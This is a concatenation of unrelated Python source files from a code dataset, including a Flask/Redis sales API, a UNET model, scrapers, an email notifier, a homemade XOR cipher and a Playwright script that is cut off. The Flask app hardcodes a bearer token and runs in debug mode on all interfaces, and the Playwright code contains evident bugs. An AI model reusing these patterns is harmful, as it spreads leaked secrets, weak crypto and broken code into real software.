args.save\n\nif __name__ == '__main__':\n tt = time.time()\n with torch.no_grad():\n save_path = main()\n print('Time used: {} sec'.format(time.time()-tt))\n # os.system('python compute_iou.py ./data/Cityscapes/data/gtFine/val %s'%save_path)\n","sub_path":"evaluate_cityscapes.py","file_name":"evaluate_cityscapes.py","file_ext":"py","file_size_in_byte":11103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"216270245","text":"from django.utils.encoding import force_text\nfrom django.utils import http\nfrom django.core.exceptions import ValidationError\nfrom django.core.validators import URLValidator\n\n\nclass CustomURLValidator(URLValidator):\n schemes = ['http', 'https', 'ftp', 'ftps', 'smb']\n\n def __call__(self, value):\n value = force_text(value)\n # Check first if the scheme is valid\n scheme = value.split('://')[0].lower()\n if scheme not in self.schemes:\n raise ValidationError(self.message, code=self.code)\n\n if scheme == \"smb\":\n # assert valid URL, which is already URL quoted as needed\n abspath = value.split(':/')[1]\n if http.urlquote(http.urlunquote(abspath)) != abspath:\n raise ValidationError(self.message, code=self.code)\n else:\n super().__call__(value)\n","sub_path":"project/utils/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"356653927","text":"import json\nimport matplotlib.pyplot as plt\n\ny = []\n\nwith open('exps.out.json') as file:\n data = json.load(file)\n\nfor i in range(5, 101):\n y.append(data[str(i)]['var'])\n\nx = range(5, 101)\n\nplt.plot(x, y)\nplt.ylabel('Variance')\nplt.xlabel('Number of Nodes')\nplt.show()\n","sub_path":"experiment/variance.py","file_name":"variance.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"178822623","text":"import webapp2\nimport os\nimport jinja2\n\n\nclass BaseHandler(webapp2.RequestHandler):\n\t# @ means this is not a typical definition\n\t# cached_property means first time = calculate the value\n\t# after that, return value without calculating it (return stored value)\n\t@webapp2.cached_property\n\tdef jinja2(self):\n\n\t\treturn jinja2.Environment(\n\t\tloader = jinja2.FileSystemLoader(os.path.dirname(__file__) + '/templates'),\n\t\textensions = ['jinja2.ext.autoescape'],\n\t\tautoescape = True\n\t\t)\n\t# default to empty dictionary if do not supply template_variables\n\tdef render(self, template, template_variables={}):\n\t\ttemplate = self.jinja2.get_template(template)\n\t\tself.response.write(template.render(template_variables))","sub_path":"classSample/base_page.py","file_name":"base_page.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"51606995","text":"#!flask/bin/python\nfrom flask import Flask, jsonify, request, escape\nfrom flask_mysqldb import MySQL\nimport os\nimport redis\nfrom worklog import Worklog\napp = Flask(__name__)\napp.config['MYSQL_HOST'] = os.environ['DATABASE_HOST']\napp.config['MYSQL_USER'] = os.environ['DATABASE_USER']\napp.config['MYSQL_PASSWORD'] = os.environ['DATABASE_PASSWORD']\napp.config['MYSQL_DB'] = os.environ['DATABASE_NAME']\nmysql = MySQL(app)\n\n#INICIALIZANDO AMBIENTE REDIS\nredis_cli = redis.Redis(host=os.environ['REDIS_LOCATION'], port=os.environ['REDIS_PORT'], charset=\"utf-8\", decode_responses=True)\n\n#DEFAULT SERVER REQUEST INFO\n@app.route('/')\ndef info():\n info = {\n \"id\": \"Servicio NicaVentas - Disponibilidad de Ventas\",\n \"version\": \"4.0\",\n \"status\": \"Finalizado\",\n \"Elaborado por\": \"Wiston Perez Narvaez\"\n }\n return jsonify(info)\n\n#RUTA PARA CONSULTAR EL ESTADO DE LA VENTA EN LA CIUDAD DE UN PAIS\n@app.route('/active')\ndef get_location():\n try:\n country = request.args.get('country')\n city = request.args.get('city')\n key = str(country) + '-' + str(city)\n\n active = redis_cli.get(escape(key))\n\n if active:\n cache = \"hit\"\n country = request.args.get('country')\n city = request.args.get('city')\n return jsonify({\"active\": eval(active), \"country\":country, \"city\":city, \"redis_cache\":cache})\n else:\n cache = \"miss\"\n country = request.args.get('country')\n city = request.args.get('city')\n wl = Worklog(mysql, app.logger)\n result = wl.obtain_location(escape(country), escape(city))\n\n if result[0][2].find(\"True\") != -1:\n active = True\n else:\n active = False\n\n redis_cli.set(str(key),escape(active))\n return jsonify({\"active\": active, \"country\":result[0][0], \"city\":result[0][1], \"redis_cache\":cache})\n except:\n return jsonify({\"message\":\"No existen datos Asociados\"})\n\n#RUTA PARA ACTUALIZAR EL ESTADO EN LA TABLA\n@app.route('/active', methods=['PUT'])\ndef put_location():\n try:\n payload = request.get_json()\n country = payload['country']\n city = payload['city']\n key = str(country) + '-' + str(city)\n auth = request.headers.get(\"Authorization\", None)\n\n if not auth:\n return jsonify({\"message\":\"No se ha enviado el Token\"})\n elif auth != \"Bearer 2234hj234h2kkjjh42kjj2b20asd6918\":\n return jsonify({\"message\":\"Token no Autorizado!\"})\n else:\n wl = Worklog(mysql, app.logger)\n result = wl.update_location(**payload)\n\n if result == 1:\n redis_cli.delete(escape(key))\n return jsonify({'result':'Ok', 'update': payload})\n else:\n return jsonify({'result':'Fail', 'message': 'No se detecto ningun cambio al Actualizar'})\n except:\n return jsonify({'result':'ERROR', 'message':'Ha ocurrido un error, verifique su request'})\n\n#RUTA PARA INSERTAR EN LA TABLA\n@app.route('/active', methods=['POST'])\ndef post_location():\n try:\n payload = request.get_json()\n wl = Worklog(mysql, app.logger)\n wl.save_location(**payload)\n return jsonify({'result':'Ok', 'Insert': payload})\n except:\n return jsonify({'result':'ERROR', 'message':'Ha ocurrido un error, verifique su request'})\n\n#PUERTO POR DEFECTO 5000\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0')\n","sub_path":"Lv4/Disponibilidad_NV/app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"373723249","text":"from django.urls import path\nfrom . import api_views\n\nurlpatterns = [\n path('users/', api_views.ListUser.as_view(), name='users'),\n path('users/', api_views.DetailUser.as_view(), name='user'),\n path('salespersons/', api_views.ListSalesPerson.as_view(), name='salespersons'),\n path('salespersons/', api_views.DetailSalesPerson.as_view(), name='salesperson'),\n path('clients/', api_views.ListClient.as_view(), name='clients'),\n path('clients/', api_views.DetailClient.as_view(), name='client'),\n\n]\n","sub_path":"apps/users/api_urls.py","file_name":"api_urls.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"624253262","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\n\r\n# gets centered crop of the fiven tensor\r\n# image dimmensions = 1024 x 2048\r\n# torch.Size([1, 1, 32, 32])\r\n# size (images, features, height, width)\r\ndef tensorCenterCrop(tensor, height, width):\r\n heightStartIdx = ((tensor.size()[2] +1) - height) / 2\r\n widthStartIdx = ((tensor.size()[3] +1) - width) / 2\r\n return tensor[:,:,int(heightStartIdx):int(heightStartIdx+height), int(widthStartIdx):int(widthStartIdx+width)]\r\n\r\n\r\n\r\n# torch.cat((first_tensor, second_tensor), 0)\r\n\r\nclass UNET(nn.Module):\r\n\r\n def __init__(self, n_class):\r\n super().__init__()\r\n self.n_class = n_class\r\n\r\n self.conv1_1 = nn.Conv2d(3, 64, kernel_size=3, stride=1, padding=1)\r\n self.conv1_2 = nn.Conv2d(64, 64, kernel_size=3, stride=1, padding=1 )\r\n self.pool1 = nn.MaxPool2d(2, stride=2, padding=0, return_indices=False, ceil_mode=False)\r\n\r\n self.conv2_1 = nn.Conv2d(64, 128, kernel_size=3, stride=1, padding=1 )\r\n self.conv2_2 = nn.Conv2d(128, 128, kernel_size=3, stride=1, padding=1 )\r\n self.pool2 = nn.MaxPool2d(2, stride=2, padding=0, return_indices=False, ceil_mode=False)\r\n\r\n self.conv3_1 = nn.Conv2d(128, 256, kernel_size=3, stride=1, padding=1 )\r\n self.conv3_2 = nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1 )\r\n self.pool3 = nn.MaxPool2d(2, stride=2, padding=0, return_indices=False, ceil_mode=False)\r\n\r\n self.conv4_1 = nn.Conv2d(256, 512, kernel_size=3, stride=1, padding=1 )\r\n self.conv4_2 = nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1 )\r\n self.pool4 = nn.MaxPool2d(2, stride=2, padding=0, return_indices=False, ceil_mode=False)\r\n\r\n self.conv5_1 = nn.Conv2d(512, 1024, kernel_size=3, stride=1, padding=1 )\r\n self.conv5_2 = nn.Conv2d(1024, 1024, kernel_size=3, stride=1, padding=1 )\r\n self.deconv5 = nn.ConvTranspose2d(1024, 512, kernel_size=2, stride=2, padding=0, output_padding=0)\r\n\r\n self.conv6_1 = nn.Conv2d(1024, 512, kernel_size=3, stride=1, padding=1 )\r\n self.conv6_2 = nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1 )\r\n self.deconv6 = nn.ConvTranspose2d(512, 256, kernel_size=2, stride=2, padding=0, output_padding=0)\r\n\r\n self.conv7_1 = nn.Conv2d(512, 256, kernel_size=3, stride=1, padding=1 )\r\n self.conv7_2 = nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1 )\r\n self.deconv7 = nn.ConvTranspose2d(256, 128, kernel_size=2, stride=2, padding=0, output_padding=0)\r\n\r\n self.conv8_1 = nn.Conv2d(256, 128, kernel_size=3, stride=1, padding=1 )\r\n self.conv8_2 = nn.Conv2d(128, 128, kernel_size=3, stride=1, padding=1 )\r\n self.deconv8 = nn.ConvTranspose2d(128, 64, kernel_size=2, stride=2, padding=0, output_padding=0)\r\n\r\n self.conv9_1 = nn.Conv2d(128, 64, kernel_size=3, stride=1, padding=1 )\r\n self.conv9_2 = nn.Conv2d(64, 64, kernel_size=3, stride=1, padding=1 )\r\n \r\n \r\n self.classifier = nn.Conv2d(64, self.n_class, kernel_size=1, stride=1, padding=0, )\r\n \r\n\r\n def forward(self, x):\r\n torch.cuda.empty_cache()\r\n\r\n outConv1 = F.relu(self.conv1_1(x))\r\n# outConv1 = F.relu(self.conv1_2(outConv1))\r\n out1 = self.pool1(outConv1)\r\n\r\n outConv2 = F.relu(self.conv2_1(out1))\r\n# outConv2 = F.relu(self.conv2_2(outConv2))\r\n out2 = self.pool2(outConv2)\r\n\r\n outConv3 = F.relu(self.conv3_1(out2))\r\n# outConv3 = F.relu(self.conv3_2(outConv3))\r\n out3 = self.pool3(outConv3)\r\n \r\n outConv4 = F.relu(self.conv4_1(out3))\r\n# outConv4 = F.relu(self.conv4_2(outConv4))\r\n out4 = self.pool4(outConv4)\r\n\r\n outConv5 = F.relu(self.conv5_1(out4))\r\n# outConv5 = F.relu(self.conv5_2(outConv5))\r\n out5 = self.deconv5(outConv5)\r\n\r\n outConv6 = F.relu(self.conv6_1(torch.cat((out5, tensorCenterCrop(outConv4, out5.size()[2], out5.size(3))), 1)))\r\n# outConv6 = F.relu(self.conv6_2(outConv6))\r\n out6 = self.deconv6(outConv6)\r\n\r\n outConv7 = F.relu(self.conv7_1(torch.cat((out6, tensorCenterCrop(outConv3, out6.size()[2], out6.size(3))), 1)))\r\n# outConv7 = F.relu(self.conv7_2(outConv7))\r\n out7 = self.deconv7(outConv7)\r\n\r\n outConv8 = F.relu(self.conv8_1(torch.cat((out7, tensorCenterCrop(outConv2, out7.size()[2], out7.size(3))), 1)))\r\n# outConv8 = F.relu(self.conv8_2(outConv8))\r\n out8 = self.deconv8(outConv8)\r\n\r\n outConv9 = F.relu(self.conv9_1(torch.cat((out8, tensorCenterCrop(outConv1, out8.size()[2], out8.size(3))), 1)))\r\n# outConv9 = F.relu(self.conv9_2(outConv9))\r\n \r\n \r\n preds = self.classifier(outConv9)\r\n torch.cuda.empty_cache()\r\n\r\n return preds # size=(N, n_class, x.H/1, x.W/1)\r\n","sub_path":"unet.py","file_name":"unet.py","file_ext":"py","file_size_in_byte":4859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"594614515","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\nimport random\r\nimport time\r\n\r\ndef resReq(url):\r\n # 解析链接\r\n count = 5\r\n while count:\r\n try:\r\n time.sleep(random.randint(0, 2))\r\n r = requests.get(url)\r\n if r.ok:\r\n return r.text\r\n except:\r\n print('抓取失败,正在重试')\r\n count -= 1\r\n return \"\"\r\n\r\n\r\ndef parseHtml(html):\r\n # 解析首页\r\n soup = BeautifulSoup(html, 'lxml')\r\n urls = soup.findAll(class_='wb-data-infor')\r\n li = []\r\n for url in urls:\r\n li.append(url.a.get('href'))\r\n return li\r\n\r\n\r\ndef getDetail(html):\r\n\r\n soup = BeautifulSoup(html, 'lxml')\r\n try:\r\n msgs = soup.select_one('table')\r\n data = pd.read_html(msgs.prettify())[0]\r\n columns = [s.replace(' ', '').replace('\\n', '')\r\n for s in data.iloc[1:2].to_numpy().tolist()[0]]\r\n for index in range(len(columns)):\r\n if columns[index].startswith('土地面积'):\r\n columns[index] = ('土地面积')\r\n if columns[index].startswith('挂牌起始价'):\r\n columns[index] = ('挂牌起始价')\r\n data.columns = columns\r\n data = data[2:]\r\n li = []\r\n for dic in list(data.T.to_dict().values())[2:]:\r\n result = {\r\n '编号': dic['编号'].replace(' ', '').replace('\\n', ''),\r\n '宗地位置': dic['土地位置'].replace(' ', '').replace('\\n', ''),\r\n '地块面积(平方米)': dic['土地面积'].replace(' ', '').replace('\\n', ''),\r\n '用途': dic['土地用途'].replace(' ', '').replace('\\n', ''),\r\n '容积率': dic['容积率'].replace(' ', '').replace('\\n', ''),\r\n '限高': dic['建筑高度(米)'].replace(' ', '').replace('\\n', ''),\r\n '出让年限': dic['出让年限(年)'].replace(' ', '').replace('\\n', ''),\r\n '起始价格(万元)': dic['挂牌起始价'].replace(' ', '').replace('\\n', ''),\r\n }\r\n li.append(result)\r\n return li\r\n except Exception as e:\r\n print(data.columns)\r\n raise e\r\n\r\n\r\n# 解析详情页\r\nif __name__ == \"__main__\":\r\n li = []\r\n count = 1\r\n result = pd.DataFrame()\r\n for page in range(1, 3):\r\n print('正在抓取第 %d 页' % page)\r\n html = resReq(\r\n 'http://www.dfggzyjy.com/jyxx/005005/005005001/%d.html' % page)\r\n urlLi = parseHtml(html)\r\n for url in urlLi:\r\n try:\r\n print('正在抓取第 %d 条信息' % count)\r\n count += 1\r\n url = 'http://www.dfggzyjy.com'+url\r\n html = resReq(url)\r\n result = getDetail(html)\r\n li += result\r\n except Exception as e:\r\n print(e)\r\n with open('error.txt','a') as f:\r\n f.write(url+'\\n')\r\n # print(parseHtml(html))\r\n pd.DataFrame(li).to_csv('登封市公共资源交易中心-挂牌公告.csv', encoding='utf-8')\r\n","sub_path":"郑州市爬虫/登封市土地交易中心/挂牌公告.py","file_name":"挂牌公告.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"122632045","text":"\"\"\"\nStudent's name: Chattipoom Sirimul\nid: 623040132-7\nGeometric mean\n\"\"\"\n\nif __name__ == '__main__':\n n = int(input(\"How many values?\"))\n prod = 1\n for i in range(n):\n val = float(input(\"value:\"))\n prod *= val\n gmean = prod**(1/n)\n # do not edit below this line\n # ===========================================\n print('Geometric mean = {:.6f}'.format(gmean))","sub_path":"Lab/Computer Programming/EP1/P19.py","file_name":"P19.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"180270854","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/8/12 11:06\n# @Author : zhe\n# @Email : huazhaozhe@outlook.com\n# @Site : \n# @File : globals.py\n# @Software: PyCharm\n\nfrom functools import partial\n\nfrom django.utils.deprecation import MiddlewareMixin\nfrom werkzeug.local import LocalStack, LocalProxy\n\nfrom base.signals import request_context_push, request_context_pop\n\n\ndef _lookup_req_object(name):\n return getattr(_request_ctx_stack.top, name, None)\n\n\n_request_ctx_stack = LocalStack()\nglobal_request = LocalProxy(partial(_lookup_req_object, 'request'))\nglobal_g = LocalProxy(partial(_lookup_req_object, 'g'))\n\n\nclass _GlobalsG(object):\n pass\n\n\nclass _RequestContext(object):\n\n def __init__(self, request):\n self.request = request\n self.g = _GlobalsG()\n\n\nclass GlobalRequestMiddleware(MiddlewareMixin):\n\n # def process_request(self, request):\n # _request_ctx_stack.push(_RequestContext(request))\n # request_context_push.send(sender=self.__class__, func='process_request')\n\n def process_view(self, request, callback, callback_args, callback_kwargs):\n _request_ctx_stack.push(_RequestContext(request))\n kw = {\n 'request': request,\n 'func': 'process_view',\n }\n request_context_push.send(sender=self.__class__, kw=kw)\n return None\n\n def process_response(self, request, response):\n kw = {\n 'request': request,\n 'response': response,\n 'func': 'process_response'\n }\n request_context_pop.send(sender=self.__class__, kw=kw)\n _request_ctx_stack.pop()\n return response\n\n def process_exception(self, request, exception):\n kw = {\n 'request': request,\n 'exception': exception,\n }\n request_context_pop.send(sender=self.__class__, kw=kw)\n _request_ctx_stack.pop()\n","sub_path":"apps/base/middleware/globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"151530630","text":"#!/usr/bin/env python3.6\n\nimport subprocess\n\ndef systemKernel():\n uname = \"uname\"\n uname_arg = \"-a\"\n print (\"\\n***************** KERNEL using command >\", uname, uname_arg, \"*****************\", \"\\n\")\n a = subprocess.call([uname, uname_arg])\n\ndef systemDiskspace():\n diskspace = \"df\"\n diskspace_arg = \"-h\"\n print (\"\\n***************** DISKSPACE using command >\",diskspace, diskspace_arg, \"*****************\", \"\\n\")\n subprocess.call([diskspace, diskspace_arg])\n\ndef systemMemory():\n print (\"\\n***************** RAM using command > free -m *****************\", \"\\n\")\n subprocess.call(\"free -m\", shell=True)\n\ndef main():\n print (\"\\nGathering this server's basic informations :\")\n systemKernel()\n systemDiskspace()\n systemMemory()\n\nmain()\n","sub_path":"functions/basic_1.py","file_name":"basic_1.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"195140609","text":"from functions.__data import symbols_en, symbols_ru\n\n\ndef encrypt(text: str, key: str) -> str:\n \"\"\" This function encrypt the message with given key.\n Message and key must be the same length.\n\n :param text: Message, that will be encrypted.\n :param key: String, which will be used for encryption.\n :return: Encrypted string.\n \"\"\"\n\n \"\"\" This function\n \n \"\"\"\n\n msg = ''\n\n # detecting language\n if all([bl in symbols_ru for bl in text]):\n symbols = symbols_ru\n else:\n symbols = symbols_en\n\n chars = {char: code for code, char in enumerate(symbols)} # all characters with their id\n codes = {code: char for char, code in chars.items()} # all id's with their characters (reversed dict chars)\n\n # decrypting message\n for t_char, k_char in zip(text, key):\n secret = chars.get(t_char) ^ chars.get(k_char) # find xor of message and code symbol\n msg += f'¦{secret}¦' if codes.get(secret) is None else codes.get(secret) # add symbol or it's code\n\n return msg\n\n\ndef decrypt(text: str, key: str) -> str:\n \"\"\" This function decrypt the message with given key.\n Message and key must be the same length.\n\n :param text: Message, that will be decrypted.\n :param key: String, which will be used for decryption.\n :return: Decrypted string.\n \"\"\"\n\n k_pos = 0 # position of key symbol that we are using\n msg = ''\n\n # detecting language\n if all([bl in symbols_ru + '¦' for bl in text]):\n symbols = symbols_ru\n else:\n symbols = symbols_en\n\n chars = {char: code for code, char in enumerate(symbols)} # all characters with their id\n codes = {code: char for char, code in chars.items()} # all id's with their characters (reversed dict chars)\n\n # decrypting message\n for sector in text.split('¦'):\n if sector.isnumeric(): # checking if it's a number\n msg += codes.get(int(sector) ^ chars.get(key[k_pos])) # find the character by it's number\n k_pos += 1\n else: # if sector with letters\n for char in sector:\n msg += codes.get(chars.get(char) ^ chars.get(key[k_pos])) # find the character by it's number\n k_pos += 1\n\n return msg\n","sub_path":"functions/vernam.py","file_name":"vernam.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"372083722","text":"import time\nimport smtplib\nfrom datetime import datetime\n\ndef wasteTime():\n for i in range (99999999):\n k=1+0\n print('end Waste Time')\n\ndef NewTimeRecord(newTimestamp):\n with open('TimestampLog.txt', 'a') as f:\n f.write('\\n')\n f.write(newTimestamp) # add line IDs with \"line + \")\\t\" +\" add tothis statment.\n\ndef LastTimestamp(): #fix to read last line only.\n with open('TimestampLog.txt', 'r') as f:\n return (list(f)[-1]) \n\ndef CheckTime(lastTimeChecked):\n time.sleep(1.0)\n timeCheckNow = int(time.time() - t0)\n compareTime = timeCheckNow - lastTimeChecked\n print(f'Now = {timeCheckNow} | Last = {lastTimeChecked}') #for debugging\n lastTimeChecked = timeCheckNow\n if (compareTime % timeInterval == 0):\n Email()\n #print('Sent Email') #for debugging\n if (timeCheckNow >= timeLimit):\n return 1\n return 0\n else:\n if (timeCheckNow >= timeLimit):\n return 1\n return 0\n\ndef getMsg():\n with open('EmailBody.txt') as msg:\n return(msg.read())\n\ndef Email():\n sent_from = googleUser\n to= reciever\n subject = 'gitPractice Test'\n body = str(f'Sent to you on {dateToday}.\\n' + str(getMsg()))\n \n\n email_text = email_text = \"\"\"\\\n From: %s\n To: %s\n Subject: %s\n\n %s\n \"\"\" % (sent_from, to, subject, body)# Replace 'to' with '\",\".join(to)' for multiple persons\n\n try:\n server = smtplib.SMTP_SSL('smtp.gmail.com', 465)\n server.ehlo()\n server.login(googleUser, googlePassword)\n server.sendmail(sent_from, to, email_text)\n server.close()\n\n print ('Email sent!')\n except:\n print ('Something went wrong. Could not send email.')\n\ndef time5m():\n time = 5 * 60 #5 minutes in seconds\n ti= \"5 minutes\"\n return time, ti\n\ndef time15m():\n time= 15* 60 # 15 minmutes in seconds\n ti= \"15 minutes\"\n return time, ti\n\ndef time1h():\n time= 60 *60 # 1 hour in seconds\n ti = \"1 hour\"\n return time, ti\n\ndef time24h():\n time= (60*60)*24 #24 hours in seconds\n ti= \"24 hours\"\n return time, ti\n\ndef timeSwitch():\n timeSelect= input('Please select a time interval (use the corresponding letter as input): \\n a) 5 minutes \\n b) 15 minutes \\n c) 1 hour \\n d) 24 hours \\n')\n switch = { 'a': time5m(), 'b': time15m(), 'c': time1h(), 'd': time24h()}\n timeInterval, displayTime= switch.get(timeSelect, \"Not a Valid Entry\")\n print(displayTime)\n if displayTime == \"Not a Valid Entry\":\n timeSwitch()\n return timeInterval\n \ndef GetTimeLimit():\n timeLtd= input('Select a time limit:\\n a) 1 hour \\n b) 1 day\\n c) 2 days\\n')\n if timeLtd == 'a':\n timeLmt= 3600 # string change to int and an hour in seconds\n elif timeLtd == 'b':\n timeLmt= 86400\n elif timeLtd == 'c':\n timeLmt= 172800\n else:\n print('Invalid Entry')\n GetTimeLimit()\n return timeLmt\n\n\n#MAIN starts here\nprint('This program will send you an email notice after a certain time has elapsed for 2 days.')\n#perform a check for an integer.\n\ntimeInterval= timeSwitch()\nprint(timeInterval)\ntimeLimit= GetTimeLimit()\nif timeInterval > timeLimit:\n print('Please select a time limit greater than your time interval.')\n timeLimit= GetTimeLimit()\n#timeLimit= 172800 # hard coded for now with be one of 3 option user selected\nExit= 0\n\na = str (LastTimestamp())\nprint('Welcome to the Git Practice')\nprint('Program will continue, error is corrected. ')\nprint (\"The last timestamp is at \" + a) #fix to read last line only\nb= str(datetime.now())\nprint('The new timestamp is at ' + b)\nNewTimeRecord(b)\n#DateTime format\ndateToday = str(datetime.now().strftime(\"%A %B %d, %Y\"))\nprint(f'Today is {dateToday}')\ngoogleUser= input('Enter your google username: ') #+'@gmail.com'\ngooglePassword= input('Enter your password: ')\nreciever= [input('Who are you notifying. Enter the full email addresss: ')]\nt0 = int(time.time())\nprint(t0) #for debugging\nlastTimeChecked = int(time.time() - t0)\nprint(f'last {lastTimeChecked}') #for debugging\n\n \nwhile (Exit == 0):\n Exit = CheckTime(lastTimeChecked)\n print(f'Exit is {Exit}') #for debugging\n#clock()\nprint('End of Program')\n\n\n\"\"\"\nCan add when merged with master branchaiput for uses to enter email credentials before entering the while loop. or use default email. \nKeep in mind you will need to search email addresses for service provider and adjust smtp ports.\nLook at aol, gmail, msn, outlook, yahoo, etc. Google search popular email providers.\n\"\"\"\n","sub_path":"practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":4587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"559084294","text":"from fenics import *\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.sparse as sps\n\n# Finds the parentmap for edges using the parentmap for nodes\n\ndef parentmap_edge(mesh,meshpatch,parentmap):\n\n # initialize meshes (if not already done)\n mesh.init()\n meshpatch.init()\n #to store result\n parentmap_edge = np.zeros(meshpatch.num_edges(), dtype=\"int\")\n mesh_edges = np.zeros((mesh.num_edges(),2),dtype=\"int\")\n\n # find the node of an edge\n for i, e in enumerate(edges(mesh)):\n mesh_edges[i,0] = e.entities(0)[0]\n mesh_edges[i,1] = e.entities(0)[1]\n\n # identify edges\n for i, e in enumerate(edges(meshpatch)):\n vert = e.entities(0)\n ind = np.where((mesh_edges[:,0] == parentmap[vert[0]]) & (mesh_edges[:,1] == parentmap[vert[1]]))[0]\n if ind.size==0:\n ind = np.where((mesh_edges[:,0] == parentmap[vert[1]]) & (mesh_edges[:,1] == parentmap[vert[0]]))[0]\n parentmap_edge[i] = ind[0]\n return parentmap_edge\n","sub_path":"Projection3D/parentmap_edge.py","file_name":"parentmap_edge.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"184378727","text":"#clock\r\nimport time\r\nimport datetime\r\n\r\n#implement graphics to design a clock\r\nfrom turtle import *\r\nsetup()\r\nt1 = Turtle() #t1 will write the time\r\n\r\n\r\n#set the time\r\nhours = datetime.datetime.now().hour\r\nminutes = datetime.datetime.now().minute\r\nseconds = datetime.datetime.now().second\r\n\r\n\r\nwhile(True):\r\n t1.clear()\r\n t1.write(str(hours).zfill(2) + \":\" + str(minutes).zfill(2) + \":\" + str(seconds).zfill(2), font = (\"helvetica\", 25, \"normal\" ))\r\n seconds = seconds + 1\r\n time.sleep(1)\r\n if(seconds == 60):\r\n seconds = 0\r\n minutes = minutes + 1\r\n if(minutes == 60):\r\n minutes = 0\r\n hours = hours + 1\r\n","sub_path":"clock.py","file_name":"clock.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"314554615","text":"import argparse\nimport os\nfrom playwright.sync_api import sync_playwright\nfrom loguru import logger\nfrom dataclasses import dataclass\n\n@dataclass\nclass RUN:\n name: str\n date: str\n q: str\n r: str\n c: str\n s: str\n f: str\n\n\nrun_screen_seq = \"1\"\n\nprint(run_screen_seq)\n\ndef save_screen(page,args,fieldname=\"run-screenshot\"):\n run_screen_seq = run_screen_seq + 1\n page.screenshot(path=f\"{args.image_path}/{fieldname}{run_screen_seq}.png\", full_page=True)\n\ndef get_run_info(cols) -> RUN:\n logger.debug(f\"number of cols {len(cols)}\")\n if (len(cols) == 8): \n return(RUN(\n cols[1].query_selector(\":nth-match(span[class='bp3-popover-target'],1)\").text_content(),\n cols[1].query_selector(\":nth-match(span[class='bp3-popover-target'],2)\").text_content(),\n cols[2].query_selector(\"div\").text_content(),\n cols[3].query_selector(\"div\").text_content(), \n cols[4].query_selector(\"div\").text_content(), \n cols[5].query_selector(\"div\").text_content(), \n cols[6].query_selector(\"div\").text_content())\n )\n else:\n return(None)\n\ndef get_count(page) -> str:\n \"\"\" return number of runs in the list \"\"\"\n page.click(\"text=Runs\")\n\n # wait for panel\n txt = page.text_content(\"div[class='runs-table-header-title'] > h3 > div\")\n logger.debug(f\"Runs {txt}\")\n\n panel_list = [] # --argument:[parameter,number of possibility]\n vals = page.query_selector_all(\"table[data-test-id='small-runs-table'] > tbody > tr\")\n logger.debug(len(vals))\n for x in vals:\n try:\n run_name = x.query_selector(\"span[class='bp3-popover-target']\").text_content() \n logger.debug(run_name)\n except:\n break\n return(txt) \n\ndef run_stop(page,args,name:str):\n \"\"\" stop the named run \"\"\"\n pass\n\ndef run_detail(page,args):\n run_desc = page.text_content(\"div.run-details-description\")\n page.fill(\"div.run-details-description\", f\"{run_desc} 1\")\n save_screen(page,args)\n\n # remove the detail pop-up page\n page.click(\".css-199ertr\")\n save_screen(page,args)\n\ndef run_search(page,args):\n\n screen=1\n # Click text=Runs\n page.click(\"text=Runs\")\n save_screen(page,args)\n\n page.click(\"div.runs-table-header-actions > div > div > button\")\n page.fill(\"div.runs-table-header-actions > div > div > div > input\", args.run_name)\n page.press(\"div.runs-table-header-actions > div > div > div > input\", 'Enter')\n ave_screen(page,args)\n\n page.wait_for_selector(f\"table[data-test-id='small-runs-table'] > tbody > tr:has-text('{args.run_name}')\")\n ave_screen(page,args)\n\n # get the first row\n rows = page.query_selector_all(\"table[data-test-id='small-runs-table'] > tbody > tr\")\n if (len(rows) >= 2): # last row is always empty. if more than one is found, pick the first one\n row = rows[0] # taking the first row\n cols = row.query_selector_all(\"td\")\n run = get_run_info(cols)\n logger.debug(f\"{run}\")\n logger.debug(row.text_content())\n\n # bring up experiments\n page.click(f\"text={row.text_content()} >> span\") # HACK: sure there is a better way\n page.wait_for_selector(f\"div[class='exp-name']:has-text('{run.name}')\")\n save_screen(page,args)\n\n # bring up detail page\n page.click(f\"span:has-text('{run.name}')\") # 